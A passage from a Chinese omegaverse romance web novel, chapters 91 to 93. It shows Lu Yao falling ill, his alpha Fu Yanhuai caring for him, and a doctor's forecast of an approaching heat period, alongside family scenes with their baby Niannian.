“可能是早产儿打针比较多。”傅晏淮怕鹿遥多想,并没有说太多,“他有点吓到了。” 鹿遥呼吸一滞,紧接着也紧紧抿住嘴不说话了。 这些天的日子太过平和安宁,年年也健康得不得了,鹿遥几乎忘了年年是摔倒提前两个月出生的孩子。 甚至前两个月,年年还会在睡梦中抽搐惊醒。 鹿遥这次终于忍不住了,他抱着年年的手逐渐攥紧。 “如果…如果你愿意等年年出生,再…” 鹿遥也不知道自己究竟该替谁感到委屈,年年只是一个小婴儿,他面对自己无法消解的负面情绪和恐惧不适只能用哭泣来发泄。而鹿遥也只能无力看着,他不能替年年来承受这些。 鹿遥鼻子有点酸,“年年就不会这样了。” 年年是一个非常好的宝宝,他不应该遭受这些的。 傅晏淮心底开始密密麻麻地钝痛起来,鹿遥的高兴和难过现在都可以轻而易举牵动起他的情绪。 “我当时。” 傅晏淮这应该是第一次面对面地和鹿遥提起那时候的事,虽然他没有可为自己辩驳的。 “我没有想过你会出这样的意外…当时的很多事我都没有考虑清楚。” 傅晏淮没敢把当时自己的想法原本说出来,但尽管如此,鹿遥也已经情绪失控直接开门想要下车。 “鹿遥!” 傅晏淮急忙把他拉住,“如果你不想看见我也是我该离开,我先把你送回家,好吗?” 鹿遥抬起头,傅晏淮看见了他被眼泪浸湿的眼底。 这个疑问已经在鹿遥心里埋了很久,或许是他终于忍不住,也或许是有临时标记的影响,总之他哽咽着问了。 “你为什么要这么做,就算你真的很讨厌我,那直接和我提离婚不行吗?你不想要这个孩子的话,当时又为什么让我生下来呢?” 在这一刻,傅晏淮开始痛恨自己的荒唐与自私,鹿遥被迫承受了他本不该有的伤害。 “对不起…我。” 傅晏淮艰涩开口,“我是想要这个孩子的,也是想要你的。我知道已经发生的事情没有办法弥补,就算你永远也不打算原谅我也可以。你不想看见我我就搬回去住,我也可以提取腺体/液来…” “然后又想来一遍前一段时间发生的事吗?!” 鹿遥直接打断了傅晏淮,他看着这个自己曾经很喜欢,但现在不知道该怎么面对的alpha,不知道下一步该怎么办。 傅晏淮沉默下来,他勉强笑了一下表示温和,他不想让鹿遥因为表情而误会他的态度,“可是你需要我的信息素,我只能用这种方法给你。” 鹿遥也知道傅晏淮现在不能做出什么,他也知道傅晏淮现在面对自己很小心。 鹿遥的眼泪落下来,他紧绷着稳住情绪,“给我道歉。” 傅晏淮立刻道,“对不起,对我给你和年年造成的伤害道歉,我不该这么做的。” 鹿遥的眼泪一颗颗砸在年年身上,鹿遥胡乱擦着眼泪,傅晏淮把年年抱到一边的安全座椅里。 傅晏淮显然也有些无措,他把纸递到鹿遥跟前,鹿遥随便抽了几张,然后把脸埋在里面抽泣着哭了出来。 年年惊愕非常地看着鹿遥,他看着鹿遥哭,自己也着急起来。年年探身向前想坐到鹿遥身边,傅晏淮安抚地拍拍他。 鹿遥的呜咽让他的声音变得很混乱,但傅晏淮还是听清了鹿遥含糊的埋怨,“都怪你…那七天真的很难过,我身上好痛…” 是鹿遥独自离开的那个时候。 傅晏淮试探着从后面慢慢环住鹿遥,接住鹿遥每一句乱七八糟的“都怪你。” “是的。” 傅晏淮低低道,“都怪我。” 都是他不好。【你现在阅读的是 】 90-100 第91章 第 91 章 喂粥 鹿遥和年年都是蔫蔫地回家了, 鹿遥担心的年年没有感冒,反而是他自己,回去就有点低烧。 文筝被鹿遥和年年没精打采的样子给吓了一跳, 尤其是鹿遥晚饭没有起来下楼吃,文筝一摸他额头, 发现有点烫。 傅晏淮先把年年哄了,洗好澡喂完奶, 然后让他和鹿遥贴了贴。 不过很快就被鹿遥催促回婴儿房, 他担心年年也生病。 傅晏淮送走依依不舍的年年, 然后重新敲门进去。 “先喝一点粥, 吃了东西再吃药。” 鹿遥往被子里又缩了缩, 只露出几绺发丝在外面。他有点懊恼自己刚刚的情绪失控, 也不太想面对傅晏淮。 鹿遥假装睡着了,听不到傅晏淮在说话。 傅晏淮的声音又低又缓,几乎要与这个昏暗的房间融为一体。 “放那吧, 我一会就吃。” 鹿遥还是不想出来, 但他闻到了一点点傅晏淮身上的白冷杉味道。其实临时标记过后的omega很想和自己alpha亲近, 鹿遥闻到信息素后把自己蜷缩得更紧了点,他想要逃避这种感觉。 傅晏淮看着鼓鼓囊囊的被子,和鹿遥散落在外面棕色柔软的发丝。他的确把托盘放下了, 但他没有走, 反而走近几步到了床边。 傅晏淮的声音还是很温和,隔着被子听起来朦朦胧胧的。 “我看你吃了药就走,我拿了体温计。小鹿,我给你量一下好吗?” 鹿遥在被子里瞬间把眼睛睁开,他默默往前蹭了蹭,他闷声婉拒道, “不要,你出去。” 傅晏淮单膝压到床上,直接伸手把人捞了回来,鹿遥惊得直接从被子里把头探出来。 “你干什么!” 鹿遥慌乱地试图制止傅晏淮的动作,他抬手虚虚抵在傅晏淮的肩上,但随即就有点头晕。 鹿遥的脸上有不正常的红晕,傅晏淮不由皱了皱眉。 他伸手拽过被子把鹿遥裹住,然后把鹿遥抱进怀里。 鹿遥只觉得有什么轻轻贴了一下自己的侧脸,随后他就晕头转向地听见傅晏淮有些严肃的声音。 “很热,需要量一下。” 傅晏淮想把鹿遥的手臂抬起来,但鹿遥已经缓过了刚刚的眩晕,他反驳傅晏淮道,“可能是刚刚在被子里憋的,你先放我下来,我自己弄。” 怕鹿遥冷,房间内的温度调得稍微高了点,焦糖的味道丝丝缕缕地飘来飘去,傅晏淮把人抱得更紧了点。 他一手箍住鹿遥的身体,另一手直接捏住鹿遥的脸,直接把体温计放进鹿遥嘴里。 鹿遥不可置信地瞪大眼睛,傅晏淮捂住鹿遥的脸和唇瓣,他眼底深暗和鹿遥对视。 “乖一点。” 鹿遥的脸色以肉眼可见地速度开始涨红,傅晏淮手掌下的柔软触感让他下意识地想要用力,想在鹿遥身上留下自己的痕迹。 傅晏淮记得鹿遥红润柔软的舌尖,他不止刚刚那一次捏开过鹿遥的唇瓣,也就不止一次看过和品尝过。 鹿遥不知道气氛是怎么忽然变得这么暧昧起来,他躲闪开傅晏淮的视线,可把脸侧到另一边也很让他心慌,于是他干脆把眼睛紧紧闭了起来。 傅晏淮觉得鹿遥这个样子很有趣,和以前他在一些时刻的表现一模一样。 好在体温计很快就开始滴滴滴地提醒,傅晏淮把体温计拿出来,鹿遥狠狠松了口气。他裹着被子滚到一边,只露出两只眼睛看着傅晏淮。 “37.8℃。”傅晏淮蹙眉看着上面的数字,“低烧。” 鹿遥有点头晕,身上骨头还疼不爱动,他听见傅晏淮的话立刻开口,“明天就退烧了,你出去吧。” 傅晏淮看了眼他和鹿遥之间隔这的一人宽距离——鹿遥刚刚滚出来的,他还是坚持道,“你把东西吃了我就走。” 鹿遥犹豫片刻,“那你拿过来吧。” 傅晏淮把枕头在自己身侧放好,“坐过来一点,不然可能会洒到床上。” 鹿遥想质疑傅晏淮把枕头放自己旁边不是也行,但他又不想和傅晏淮争辩,这样傅晏淮留在这里的时间只会更长。 鹿遥不情不愿地慢吞吞挪过去,不得不说傅晏淮还挺会照顾人的,他把抱枕的角度调整得很好,躺上去很舒服,鹿遥软绵绵窝在里面。 傅晏淮把托盘里的碟子和碗一个个拿出来放到小桌子上,鹿遥原本不太饿,但肉粥闻起来很香,鹿遥有点想尝尝了。 鹿遥端起碗喝了一小口,暖暖的稍微打开了一点味蕾。但是这么端着有点累,鹿遥喝了两口就把碗放下,陷进枕头里下意识曾可成。 傅晏淮就十分自然地把把勺子从鹿遥手里抽出来,舀了勺粥轻轻碰碰鹿遥的嘴唇。 “我喂你。” 鹿遥猛地向后躲开,但是粥还是碰到了嘴唇,鹿遥下意识把沾到唇瓣上的米汤舔掉。 傅晏淮盯着鹿遥湿润泛红的唇瓣,捏着勺子的手不自觉变紧。 “谁要你喂了?” 鹿遥缩到一边躲开傅晏淮的动作,傅晏淮耐心哄他,“再吃一点吧,你这两天都没怎么吃东西。” 鹿遥把头撇到另一边,“你放下,我自己吃。” 傅晏淮一反常态地很坚持,“发烧身上不舒服,我喂你。” 鹿遥的确感觉骨头又酸又痛,而且手臂也没什么力气懒得抬起来,但是这也不意味着他非得要让傅晏淮喂着吃饭。 “我可以自己吃,你放下。” “不。” “我不要你喂,你出去!” “为什么?” 鹿遥觉得自己在和傅晏淮进行小学生吵架,他脸色比刚刚更红了一点,生气让他的眼睛看起来亮亮的很有神。 “哪有那么多为什么。”鹿遥气恼道,“我就是不想要你照顾我。” 傅晏淮把勺子放回碗里,随手搅了搅,他垂着眼温和且不容置喙地开口,“可是我想照顾你。” 傅晏淮坐在床边,距离鹿遥又近了一点。 “你是有我完全标记的伴侣,是年年的爸爸。最重要的,你是我的omega。” 傅晏淮再次把粥递到鹿遥唇边,“我来照顾你,不是理所应当的吗?” 傅晏淮的神情太过坦然自如,鹿遥一时甚至无言反驳。 看鹿遥紧抿着唇,傅晏淮无奈道,“至少先把饭吃了,看着你吃完药我就离开,好吗?” 这么一说倒有点像鹿遥在无理取闹了一样,鹿遥一时被迷惑住,慢慢张口喝了一点点。 傅晏淮的嘴角闪过一丝不易察觉的笑意,鹿遥吃了小半碗就不想吃了,傅晏淮也没有勉强。他把药拿出来又倒了温水,鹿遥吃完药就有点犯困了。 傅晏淮果真如他所说,看着鹿遥喝药后就不再多留。他把东西都收走,又把枕头抽出来让鹿遥躺下。 这么被人细致地伺候其实还挺舒服的,鹿遥重新盖住被子,整个人陷入软绵绵的床里。 “睡吧。” 傅晏淮的声音带着白冷杉的香气萦绕在鹿遥四周,他迷迷糊糊地闭上眼睛,半梦半醒地听着傅晏淮讲话。 “如果又不舒服就叫我,小鹿…宝贝,晚安。” 鹿遥彻底闭上眼睛,因此他也就没有看到傅晏淮想要伸出捏捏他耳尖的手。 傅晏淮到底还是没有真的碰到鹿遥,他克制地又把手收了回去。 随着咔嗒一声关上门,鹿遥彻底陷入黑暗。 刚刚傅晏淮好像说了什么,听起来怪怪的。 鹿遥的呼吸变得绵长,没有听清,应该也不重要。 鹿遥梦到有一颗果子从白冷杉的枝桠掉落,深深陷进雪地里。 鹿遥把它捡了起来,闻起来甜甜的。 鹿遥吃过药后睡了一夜,第二天醒来就退烧了。虽然身上还是有些乏力,但鹿遥还是很高兴。 流感病毒没有这么容易就好,这次发烧大概率不会传染,他还可以去抱年年。 鹿遥已经不记得自己昨晚还做过梦,他只觉得自己精神状态很不错,挺神清气爽的。 年年昨晚没有黏够鹿遥,今天一早上醒来就哼哼唧唧地想哭,好在鹿遥十分及时地出现,年年整个人糊在鹿遥身上,又变得笑嘻嘻的。 鹿遥身上的焦糖味道经过这一夜的发烧开始变得浓郁起来,现在年年已经不需要紧紧贴着鹿遥的脖子,只要在鹿遥身边他就能得到足够的信息素。 年年目前还对信息素结合的味道很新鲜,他短暂适应了一下之后很容易就接受了白冷杉和焦糖混杂在一起的味道,年年很新鲜地一直黏着鹿遥。 鹿遥想起昨天体检年年哭得伤心,结果自己回来都没有好好安慰他。好在年年没有什么影响,不然鹿遥又会自责自己没有照顾好他。 文筝看着年年上窜下爬的样子忍不住想笑,“从前年年还很乖,现在长大了反而变得淘气了很多。” 在年年出生之前,鹿遥觉得年年性格安静或闹腾都很不错。不过现在不了,鹿遥对年年没精打采神情呆滞的样子有心理阴影,比起沉默,鹿遥宁可年年调皮到让他天天操心。 “这样挺好的。”鹿遥的眼神一直落在年年身上,“他还小呢。” 文筝随口附和道,“是,我看年年现在性格有点像傅晏淮小时候。” 鹿遥吃惊地抬起头,“谁?” 文筝抬头看向鹿遥,“是啊,晏淮小时候很让人操心,不过长大了一点就没有这样了。” 文筝记得傅晏淮四五岁的时候性格脾气就已经很难摸清,行事有一套自己的逻辑。整天都是一副他最聪明,看别人都像在看傻蛋的样子。 随着时间的流逝,傅晏淮没有再露出过这样的神色,不过文筝觉得他大概现在心里还是怎么想的。 鹿遥努力想象了一下,也没有想出来傅晏淮闹人的样子。他盯着年年的脸,试图从他的脸上寻找傅晏淮的影子。 最终他还是挫败道,“如果年年遗传了他的脾气的话,那还挺难搞的。” 文筝微妙停顿片刻,像傅晏淮已经不仅仅是难搞的问题。像这样天资很高又有能力和底气的人,一定会非常坚持自己的秉性和思维。如果一辈子都顺风顺水还好,一旦出现难以解决的事情很容易走上歧途。 文筝犹豫了一下还是开口,“其实,我一直都觉得,年年做一个普通的孩子就很好。” 一般家里的长辈都会盼望小孩子天份好智商高,但文筝是真心实意地认为,年年只自由快乐地一直生活就好了。反正傅家的钱花也花不完,年年身上也没有什么非要肩负起来的责任,不如就喜欢怎么过就怎么过。不要像傅晏淮那样,整天离开公司都没什么喜欢的事。 文筝说完这话就有点担心地去看鹿遥的反应,但鹿遥只是平淡点点头,“他只要过自己想要的人生就好。” 文筝看着鹿遥声音不自觉放缓,她忍不住和鹿遥絮叨,“妈妈对你也是这么想的,小鹿,不管你做什么妈妈都觉得好。就是不要太辛苦了,你最近又不好好吃饭,还动不动就生病,这可怎么办呢…” 这样的话听起来很温暖,鹿遥知道文筝是真心把自己当作她的孩子来看待,他赶忙道,“我真的没事,昨晚只是低烧,今天一早上起来就好了。” 文筝还是担忧道,“可你这样我总是不放心,医生有没有说什么要注意的地方?” “你们在聊什么。” 傅晏淮一进门就觉得客厅氛围有些奇怪,他视线扫过鹿遥,状似不经意地把手里文件放下。 “怎么都这么严肃,出事了?” 文筝脸有点黑,“出什么事,怪不得都不爱听你说话。” 傅晏淮无奈叹了口气,“对不起,我只是问问。你们在说什么?” 年年坐在鹿遥怀里,感觉到傅晏淮在鹿遥旁边坐下,他好奇直起身子侧头看着他。 傅晏淮轻轻捏了一下年年的脸,他就这么神情自若地把手伸进鹿遥手臂间,等鹿遥不可置信地看向傅晏淮时,他又早已经把手抽了出去。 年年愣愣摸自己的脸,低下头一声不吭看自己的手。 文筝有些难以置信傅晏淮忽然如此大胆,同时也很震惊鹿遥竟然没有当场翻脸。 文筝眼睛在两人之间转了一圈,“在说年年呢。” 她甚是随意地开口,“说年年脾气有点像你,淘气,闹人。” 傅晏淮挑了下眉,“像我?” 他对上年年水润黝黑的大眼睛,又转向文筝委婉道,“像我也没什么好的,还是像小鹿吧。” “小鹿这样子,一看小时候就是很乖的孩子。”文筝示意傅晏淮看地上被年年扔得到处都是的纸和玩具,“你小时候就喜欢这么玩。” “嗯。”傅晏淮点点头,他答非所问,“年年很聪明。” 但鹿遥在这一瞬间莫名接上了傅晏淮的脑回路,他抱着年年试探问他,“你该不会是想说,你比较聪明,年年玩这个是遗传你的智商?” 傅晏淮坦诚开口,“不然也没有什么可以像我的地方了。” 文筝听不下去了,她站起身就要走,不过临走时又吐槽傅晏淮一句,“你也就这一个优点了,遗传了别的都不好办。” 第92章 第 92 章 预告 鹿遥对傅晏淮感觉很无语, 他安抚地摸摸年年的小脸蛋,年年很配合地在鹿遥手心里蹭蹭。 傅晏淮挑了下眉,年年对待他和对待鹿遥的态度, 看起来差别很大啊。 傅晏淮伸手凑近年年想再试验一下,年年屁股一拱, 脸拼命往旁边躲。 鹿遥不高兴了,“你干什么?” 傅晏淮当即把手收回来, 他无辜道, “没什么。” 鹿遥把年年抱得紧了点, 他转头对文筝开口, “我先带年年上楼了。” 文筝刚好也有事想问傅晏淮, 她连连点头, “你们上去好好休息。” 傅晏淮很识趣地继续坐在原位没有动,等到鹿遥上楼了,他才礼貌抬头询问文筝, “妈, 您有事想和我说吗?” “鹿遥身上怎么没有临时标记的味道?” 文筝看着很疑惑, “就算是贴了腺体贴,也不应该什么都闻不到的。” 标记和单纯的信息素不同,就算是贴了腺体贴也不可能会完全没有痕迹。 “而且他还发烧了。”文筝看起来有些担忧, “医生没说什么吗?小鹿的腺体怎么样?” “检查结果要等一等才会出来。”傅晏淮看起来不是很着急, 他甚至还反过来安慰了一下文筝,“他没有什么太大问题,您别担心。” 文筝匪夷所思,“你怎么知道?现在你也会看病了?” “我不会。”傅晏淮很冷静,“omega如果有不适的话alpha是可以感觉到的。” 傅晏淮可以感受到鹿遥的痛苦或者开心,如果鹿遥真的很难受的话, 傅晏淮不会在他发烧的时候还有心思逗弄他。 他没有感觉到鹿遥的腺体有什么不妥,也没有感觉到鹿遥在强撑着自己勉强。昨晚即使在发烧,鹿遥身上闻起来也是甜甜的。 傅晏淮又有点想念那个坏掉的焦糖布丁了,他真的很想尝尝。 文筝顿住,ao结合后的确可以感受到彼此间不同寻常的气息。虽然鹿遥表现得有点不对劲,但他的状态的确还不错,刚刚抱着年年,年年也没有露出什么警惕的样子。 不过文筝还是坚持道,“不管是什么,总归这样还是需要注意,你要好好照顾小鹿。” 傅晏淮没有意识到文筝对待他和鹿遥的态度已经转变了,照顾鹿遥对他来说是理所当然的事。 他答得很自然,“医生如果再来消息的话,我会带鹿遥去医院的。” 文筝沉吟片刻后道,“最近鹿遥对你怎么样?有没有看你顺眼一点?” 傅晏淮有些不明所以,他看了文筝一眼,选择了一个比较有余地的回答,“大概吧。” 文筝冷笑一声,“你自求多福吧。” 文筝这个态度肯定是有问题,傅晏淮觉得有些不妙。 他停留在原地开始思考,傅晏淮打开手机,随手翻到了医生的联系界面。 傅晏淮面无表情盯着手机屏幕看了一会,随后毫不犹豫按下拨通键。 鹿遥已经和年年在房间里玩了好一会儿,鹿遥发现年年昨晚虽然没有闹人,但他的情绪有点过于亢奋。年年还太小,他无法控制稳定住自己,鹿遥猜测这和昨晚他没有得到及时的安抚有关。 控制情绪对这个年纪的小孩子来说的确是一件太超过的事情,鹿遥不打算为难年年,他尽可能地给年年足够的安全感,让他慢慢恢复平时的状态。 年年现在玩的游戏都很无聊,但鹿遥还是很有耐心地陪着他,在年年每一次发出无意义的哼哼后都给出回应。 年年就又变回了可爱的肉坨坨,戴着小狗耳朵的帽子认认真真揪娃娃。 鹿遥搂着他,心里感觉很满足。 傅晏淮就是在这样宁静的氛围里突然出现的,而且鹿遥发现傅晏淮经常在这种时刻闯入。 不过现在鹿遥已经可以试图理解傅晏淮,他每一次主动来接近自己都是有理由的。 不管是正当理由还是很荒唐的借口,总之每次都是事出有因。鹿遥搂着年年回头,不自觉地皱起眉头,“怎么了?” 年年的眼睛鼻子都在帽子下面皱了起来,他闷不吭声地盯着傅晏淮,嫌他打扰了自己和鹿遥的贴贴。 傅晏淮假装没有看到,他走到鹿遥旁边,和他一起坐在地上,“小鹿,医生让你有时间的话去一下复检。” 鹿遥停顿片刻,“是我的腺体有什么问题吗?” “不是。”傅晏淮表现得很平常,他甚至随手弹了一下小狗耳朵,“医生只是让你去一下复检。” 鹿遥稍稍放下心,他看年年撅起嘴躲开傅晏淮的触碰,就把手挡住年年脸前。年年闻着鹿遥的手心香香的,很快乐地把脸整个埋进去。 傅晏淮看着鹿遥和年年的小动作浅浅勾起唇角笑了一下,随后他若无其事收回手。 “明天公司有个会议很重要,我送你过去后在车里等你,可以吗?” 鹿遥觉得没必要,“你有事要忙的话就不用等我了,我会自己去的。” 傅晏淮没有非要鹿遥同意,他看着鹿遥的眼神很专注且温柔,“好。” 鹿遥有点别扭地往后蹭了蹭,他抱紧年年低头小声开口,“那你出去吧。” 七天的临时标记期还没过,傅晏淮离他太近会对他有影响。傅晏淮这次的标记不是很深,但鹿遥觉得这个临时标记勾起了他身体对完全标记的记忆。 今天早上他贴腺体贴的时候已经很小心,但当边角不小心擦过腺体时,身体还是不受控制地有一瞬间的酥痒。在那之后鹿遥花了一点时间才让自己重新冷静下来,这让鹿遥有些惴惴不安。 鹿遥现在要离傅晏淮远一点,腺体的状况像是休眠期即将过去的火山,他觉得这个状态很危险。 傅晏淮当然不会只说这么一句话就走,他又问了一句,“没有再发烧了吧?还冷吗?” “没有了,我没什么不舒服的地方。”鹿遥忍不住催促他,“你在这里年年不自在,快出去吧。” 鹿遥的这个赶人借口让傅晏淮无法反驳,年年始终用屁股对着他,到现在也没有要转过来的意思。 傅晏淮只好站起身开口,“明天我送你。” 鹿遥假装不在意地继续和年年玩,等到关门声响起,鹿遥才偷偷摸摸抬起头。 看到傅晏淮真的离开了,鹿遥终于松了口气。 年年疑惑地努力仰头,他拽了一下鹿遥的手,“啊?” 鹿遥回神,他抱着年年调整了一下坐姿,“没事,接着玩吧。” 年年享受到了足够的宠爱,他心满意足地拉着鹿遥陪了自己一整天。 鹿遥想在过年前尽可能地赶一赶进度,所以尽管他也很舍不得,但第二天还是早早出门了。 鹿遥心里还是有些在意医生叫他去复检这件事的,之前他的腺体还不能产生信息素时他就不想再继续治疗,医生都没有催促他去复检过。 鹿遥微微有些忐忑地先去了医院,他想看看复检结果再安排工作日程。 医生似乎早有预料鹿遥会来,他见到鹿遥就十分殷切开门让人进去。 “鹿遥先生,请在这里坐一下。这是您的检测报告。” 鹿遥接过报告仔细看了看,各项数值都偏低,但还算在正常范围内。鹿遥翻着看了看,也没太看明白。 医生此时连忙开口,“您别担心,没有什么大问题,腺体恢复的程度还不错。” 鹿遥就疑惑地看向医生,“那您今天叫我来是…” “啊,是这样。”医生清了清嗓子,“腺体恢复的过程会有一点类似于最开始即将分化的时候,出现的某些症状会比较类似,比如您被傅总临时标记后低烧了一晚。不过这也不必担心,腺体状况良好,不适反应不会很强烈。” 鹿遥看着更困惑了,“所以,您的意思是…” “是这样。”医生迟疑着开口,“临时标记刺激腺体复苏,很多功能都已经恢复,您对傅总的信息素会更加敏感。可能…” 鹿遥紧紧皱起眉,医生诚实开口道,“可能在近期会有发情期,并且,我不建议您继续使用抑制剂。” 发情期这三个字已经很久没有出现在鹿遥生活里,他甚至没有在听到的第一瞬间就反应过来。 鹿遥艰难地消化了这个事实,满打满算他真正度过的发情期也只有一次,就是刚刚分化成omega的那时候。 但是那一次他没有保留什么理智,记不太清楚发情期究竟是怎么过的。而且那一次他就有了年年,很快就把那次经历抛之脑后。 鹿遥隐约只能想起是相当混乱、潮湿又燥热的七天。 鹿遥舔了下唇,他看起来有点紧绷了,“那,这个近期,大概是有多久?” 医生斟酌了一下,“以现在的检测结果来看,最快两个月,慢的话要半年。” 两个月,其实也很快,但这个时间比鹿遥自己预计的要好很多,他紧绷的身形稍稍放松些许。 鹿遥向医生又确认了一遍,“至少也要两个月才有发情期是不是?” 医生肯定道,“只要没有外界刺激,腺体不会那么快进入下一阶段的。” 鹿遥并没有被安慰到,医生说完了这件事显然轻松了很多,他转回身给鹿遥开药。 “这个药物有助于您的腺体稳定,太快进入发情期您的身体也承受不住。还有,抑制剂是绝对不能再用的,如果您想延缓发情期,我们可以再想其他的办法。” 鹿遥五味杂陈接过诊断单,他看着上面的发情期预测深深叹了口气。 最重要的是,是傅晏淮让他来医院做复检的。 那他的发情期再过几个月就会来临,这件事,傅晏淮知道吗? 第93章 第 93 章 辅食 鹿遥带着明媚的忧伤回了家, 年年一如既往地热烈欢迎他。 鹿遥安慰自己,至少腺体恢复,对年年来说是件绝对的好事。 今天鹿遥回家的时间要比往常早一点, 不知道傅晏淮到底清不清楚腺体复检的具体情况。鹿遥压缩完成了今日份的工作,然后就直接回去找傅晏淮。 鹿遥把年年抱起来亲了亲, 随后就故作若无其事问文筝道,“妈妈, 傅晏淮他…他在楼上吗?” 文筝奇怪道, “今天没有, 他还没有回来。你有事要找他?” 鹿遥停顿片刻, “我想问问他有关工作的事, 既然他不在, 那我等晚饭后再找他吧。” “很急吗?”文筝关切对鹿遥道,“不然我打个电话,问问他什么时候回来。” 鹿遥连忙摇头, “不不不, 不急的。只是突然有个不懂的地方, 等他回来我再问就好。” 傅晏淮今天竟然晚回来,鹿遥不知道是该高兴还是不高兴。 索性今天离晚饭还有时间,鹿遥干脆带着年年一起到厨房做辅食, 不过年年是去玩。鹿遥给他做辅食, 年年负责在一边边玩边等。 年年现在已经逐渐接受鹿遥白天不在家的事实,所以在其余能见到鹿遥的时间段里,年年都会使出吃奶的力气黏着鹿遥。 “看这个。” 鹿遥捏了捏手里的面糊糊,放在手心里递给年年看,“是小鱼。” 年年认真低头看着它,伸出一根手指戳了戳, 然后仰头看向鹿遥。 鹿遥弯着眼睛笑起来,“摸起来软软的,对不对?” 年年露出很灿烂的笑容,鹿遥把这一小块面团放到年年面前的小小桌子上,“再等一会儿,爸爸很快就做完辅食了。” 年年低下头,继续认真玩那条随手捏出来的小鱼。鹿遥开始思考年年多大了可以吃甜品,不知道年年会不会喜欢吃甜的。 可是小孩子吃甜食是不是不太好呢,鹿遥有点纠结,既希望年年喜欢吃,又不希望他喜欢吃。 鹿遥一边想乱七八糟的东西,一边把食材都处理好放进锅里蒸,今天年年不用再坐在一边看着大人们吃东西,他可以啃一啃自己的婴儿餐。 现在也是厨房要准备晚饭的时间,鹿遥把东西蒸上就没有再在里面呆着,年年的辅食餐蒸好了会被一起端出去的。 年年手里被揉得乱七八糟的小面团也被鹿遥放进了锅里,鹿遥把年年抱起来往外走,“一会儿我们就可以吃饭了,不过阿姨说你今天吃了好几根磨牙棒,现在是不是还没饿呀。” 鹿遥摸了摸年年的小肚子,不管饿不饿都是圆溜溜的。 年年懵懵懂懂地也跟着摸自己的肚子,鹿遥有被可爱到。 不过他还是接着道,“磨牙棒不可以吃太多,等你再长大一点点,爸爸给你做小零食好吗?” 婴儿也有很多小饼干和溶豆之类的小零食可以吃,而且做法都很简单,鹿遥跃跃欲试很想给年年做一些。 正常来说其实年年现在也可以吃了,鹿遥在考虑要不要周末就先做出几个给年年尝尝。 年年不懂长大“一点点”具体是多少,但他听懂了吃,年年舔舔嘴期待地看着鹿遥。 鹿遥不自觉地以一种非常温柔的语调一直哄年年,然后把年年放到沙发上坐好。 傅晏淮进来出乎意料地在客厅见到了鹿遥,年年在晃悠自己的jio,今天他穿的是小狗袜子,傅晏淮看着真的觉得年年有时候傻乎乎的。 但毕竟是自己的孩子,还和鹿遥长得很像,傅晏淮觉得婴儿这样也正常,虽然傻傻的但还是挺可爱的。 傅晏淮走到年年身前rua了一下他的头发,然后直起身随意问道,“今天这么早就回来了。” 鹿遥面色有点僵硬,他点点头嗯了一声。 傅晏淮语气如常,“去过医院了吗?医生怎么说。” 鹿遥的那点别扭就更多了,他抿了抿唇故意开口道,“我的腺体就要恢复了,难道你不知道吗?我还以为医生联系你,你已经清楚了呢。” 傅晏淮沉默下来,不过他的沉默倒并不是被质问得哑口无言,他早知道这件事瞒不住。他是觉得他和鹿遥现在这样子有点像是家里发脾气拌嘴的夫夫。 鹿遥看傅晏淮不说话,他不高兴了,“医生果然告诉过你,那你还问我什么。” 鹿遥马上就要抱年年上楼,傅晏淮无奈挡住他,“医生并没有说得那么清楚。而且,如果你发情期快到的话,也需要提前研制配对药物,也是要通知我的。” 鹿遥蹙眉问道,“什么药物?” 傅晏淮眼神坦然,“应对发情期的药剂,不然我们只能使用传统方法了。” 这句话槽点太多鹿遥不知从何吐起,他坚决道,“和你没关系,这是我自己的事。” 傅晏淮态度很坚决,“你不能再使用抑制剂,我的标记也不是抑制剂可以盖过的,这只会损伤你的腺体。” 鹿遥很不情愿地扭过头,这些他当然也知道,但是他一点也不想面对。 难道他又要和傅晏淮一起过发情期吗,这算什么。 傅晏淮预想到了鹿遥的抗拒,因此他此刻非常自然地提出了下一个建议,“所以生物制剂是一个不错的选择。” 鹿遥不是很愿意,“那你又要提取腺□□了?又住院了怎么办。” 鹿遥说不太清楚,他一方面看着傅晏淮奄奄一息的样子也没有觉得很痛快,一方面也不想欠傅晏淮什么。 傅晏淮温和宽慰道,“不会的,适量提取不会有事。” 鹿遥叹了口气,“再说吧。” 鹿遥现在很凌乱,他想静静。但傅晏淮现在显然不混乱,他的身形还是稳稳地挡住鹿遥前面没有动摇分毫,“医生有没有说你的发情期还有多久?” 鹿遥很无力地抬眼看着傅晏淮,他深深吸了口气,“两个月,快的话只有两个月。” 两个月?那其实还有一段时间。 傅晏淮不动声色道,“好,我知道了。” 两个大人终于谈完了人生大事,年年积极盯着鹿遥哼哼,以求鹿遥的注意力放到自己身上。 鹿遥当然满足,他当即越过傅晏淮蹲到沙发前面,“肚子饿不饿啊?爸爸陪你玩。” 甜蜜的亲子互动开启,傅晏淮转头看着他们。 文筝正巧下楼看到了他们三个,这一幕如果单纯只是看起来的话还是挺和谐的。 文筝心情还不错,“你们都已经等着吃晚饭了?” 不知道为什么,被文筝看见和傅晏淮待在一起,鹿遥莫名有点脸热。 鹿遥故作镇定,“嗯,我给年年做了一点辅食。” 年年的脸上很多肉,文筝弯下腰去逗他,“年年像年画娃娃一样。” 文筝没过多问鹿遥傅晏淮的事,鹿遥松了口气。傅晏淮在一旁客观地接话,“是因为脸是圆形,所以看起来很像。” 鹿遥光明正大地瞪了傅晏淮一眼,“体检报告说年年的体重在正常范围内,婴儿就是要胖一点比较好。” 鹿遥很没好气地说完就抱年年上他的餐椅,文筝会安慰两句傅晏淮吗?肯定不会。 “你总说年年胖干什么。” 文筝埋怨傅晏淮,“以前年年多瘦,小鹿肯定心疼坏了,现在好不容易白白胖胖的,你还偏偏说这些。哪壶不开提哪壶。” 傅晏淮很无奈,“我没有这个意思。” 年年红彤彤皱巴巴的那时候好像离现在隔了很遥远的时间,傅晏淮每次看到年年,都总觉得年年好像天生就应该是白白胖胖的。 年年能养成现在这样,傅晏淮知道鹿遥是花了很多心思的。虽然有育婴师,有保姆,有其他的家人在,但这些人都不能替完全代鹿遥在年年身边。 鹿遥回来后有很多人帮衬,但鹿遥依然自己尽心尽力精心照顾了很久,年年才逐渐变成现在这样活泼健康的样子。 年年的小脸红扑扑的,在椅子上坐好就乖乖仰头等饭。 鹿遥捏捏年年肉嘟嘟的手臂,又逗了逗他下巴。 傅晏淮将目光收回,“鹿遥不爱听,以后我就不说这些了。” 文筝面色稍霁,“这还差不多。” 鹿遥忙着给年年戴围兜又盛饭,文筝悄悄问了傅晏淮一句,“今天小鹿去医院了?” 傅晏淮嗯了声,“鹿遥的腺体,我会配合他治疗恢复的。” 文筝很满意傅晏淮的态度,“这是你们之间的私事,你们自己看着处理吧。” 